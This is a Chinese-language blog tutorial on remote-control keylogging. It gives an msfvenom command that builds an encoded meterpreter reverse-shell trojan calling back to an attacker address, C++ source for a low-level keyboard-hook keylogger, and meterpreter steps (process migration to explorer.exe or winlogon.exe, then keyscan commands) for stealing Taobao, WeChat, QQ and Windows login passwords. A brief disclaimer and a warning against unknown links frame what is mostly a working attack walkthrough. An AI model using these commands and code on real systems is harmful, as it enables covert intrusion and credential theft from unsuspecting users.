遠(yuǎn)程控制-鍵盤記錄
聲明:本篇內(nèi)容禁止用作非法目的,謝絕一切形式的轉(zhuǎn)載
當(dāng)你在登陸電腦的時(shí)候,當(dāng)你在登陸淘寶的時(shí)候,當(dāng)你在登陸微信的時(shí)候,你的輸入可能正在被記錄,然后電腦的登陸密碼、微信帳號(hào)密碼、淘寶的帳號(hào)密碼就這樣在不知不覺中泄漏了。?
木馬生成
生成木馬的命令如下,本文基于的是win7 32位系統(tǒng),64位的可參考這里
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.42.49 lport=8888 -e x86/shikata_ga_nai -i 5 -f exe -o win32_burning.exe
開啟監(jiān)聽

具體含義可參見這里
一個(gè)簡(jiǎn)單的鍵盤記錄器
使用低級(jí)鍵盤鉤子來(lái)hook鍵盤消息。 核心代碼如下:
// keyboardhook.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include<iostream>
#include<windows.h>
using namespace std;
HHOOK g_Hook;
LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
? ?KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
? ?BOOL bControlKeyDown = 0;
switch (nCode)
{
case HC_ACTION:
{
// Check to see if the CTRL key is pressed
? ? ? ? ? ?bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
//Check ? to see if the ?Cap ?is ? pressed
? ? ? ? ? ?BOOL bCap = GetAsyncKeyState(VK_CAPITAL) >> ((sizeof(SHORT) * 8) - 1);
//Disable CTRL+ESC
if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown)
return 1;
if(wParam == WM_KEYUP)
? ? ? ? ? ? ? ?printf("%c", pkbhs->vkCode);
break;
}
}
//Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
return CallNextHookEx(g_Hook, nCode, wParam, lParam); //回調(diào)
//return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
? ?MSG msg;
//Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
? ?g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL,
(HOOKPROC)LowLevelKeyboardProc, GetModuleHandleW(0),0);
while(GetMessageW(&msg,0,0,0))DispatchMessageW(&msg);
return 0;
}
meterpreter獲取鍵盤輸入
三個(gè)關(guān)鍵命令
keyscanstart開啟鍵盤監(jiān)聽后,再用keyscandump進(jìn)行記錄的導(dǎo)出,如果不想監(jiān)聽了才keyscanstop。而不是先keyscanstop再keyscan_dump。
獲取淘寶帳號(hào)密碼
淘寶網(wǎng)的登陸頁(yè)面如下:

在前面的介紹中,已經(jīng)獲得了meterpreter。如果能知道"肉雞"端用戶的輸入,密碼自然就輕易獲得了。那怎樣能獲得用戶的鍵盤輸入那?
綁定進(jìn)程
獲取到meterpreter之后直接開啟鍵盤監(jiān)聽是無(wú)法獲取到上圖中的鍵盤的輸入的,因?yàn)檫M(jìn)程空間是不對(duì)的,所以,首先需要選擇正確的進(jìn)程。通過(guò)ps命令可以查看肉雞的所有進(jìn)程。

其中的explorer.exe是Windows程序管理器或者文件資源管理器,它用于管理Windows圖形殼,包括桌面和文件管理,刪除該程序會(huì)導(dǎo)致Windows圖形界面無(wú)法使用。因此對(duì)于windows中圖形界面相關(guān)的輸入內(nèi)容都可以通過(guò)migrate(遷移)到這個(gè)進(jìn)程中實(shí)現(xiàn)鍵盤記錄。遷移進(jìn)程使用 migrate pid號(hào)
。
開啟鍵盤記錄
開啟鍵盤監(jiān)聽?
keyscan_start
導(dǎo)出記錄?
keyscan_dump
。如下所示,帳號(hào)和密碼都被dump出來(lái)了。?

關(guān)閉監(jiān)聽?
keyscan_stop
微信,qq等帳號(hào)密碼的獲取方式基本相同。
獲取電腦的帳號(hào)密碼

如果此時(shí)你的輸入被記錄下來(lái),那密碼自然也就沒(méi)什么秘密了。
這個(gè)進(jìn)程和explore.exe進(jìn)程不同,需要的是上面列出的winlogon.exe。winlogon.exe是Windows NT 用戶登陸程序,用于管理用戶登錄和退出。該進(jìn)程的正常路徑應(yīng)是C:\Windows\System32,且是以 SYSTEM 用戶運(yùn)行。
綁定進(jìn)程
migrate 進(jìn)程pid
開啟鍵盤記錄
開啟鍵盤監(jiān)聽?
keyscan_start
導(dǎo)出記錄?
keyscan_dump
。密碼被dump出來(lái)了。注意:這個(gè)在切換用戶的時(shí)候是不能獲取到鍵盤的輸入的。當(dāng)鎖定賬戶時(shí)是可用的,多數(shù)用來(lái)獲得管理員密碼。?

關(guān)閉監(jiān)聽?
keyscan_dump
寫在最后
不名來(lái)歷的連接不要點(diǎn)擊,更不要運(yùn)行。同時(shí)希望相應(yīng)的廠商能再增加一下安全措施,讓這種鍵盤記錄不能生效。
又是一年高考時(shí),2020年的高考來(lái)的稍晚一些。天公作美,諸事大吉。把蒲松齡自勉的一句話送給考生:有志者,事竟成,破釜沉舟,百二秦關(guān)終屬楚;苦心人,天不負(fù),臥薪嘗膽,三千越甲可吞吳。
公眾號(hào)
更多網(wǎng)絡(luò)安全內(nèi)容,歡迎關(guān)注我的公眾號(hào):無(wú)情劍客。
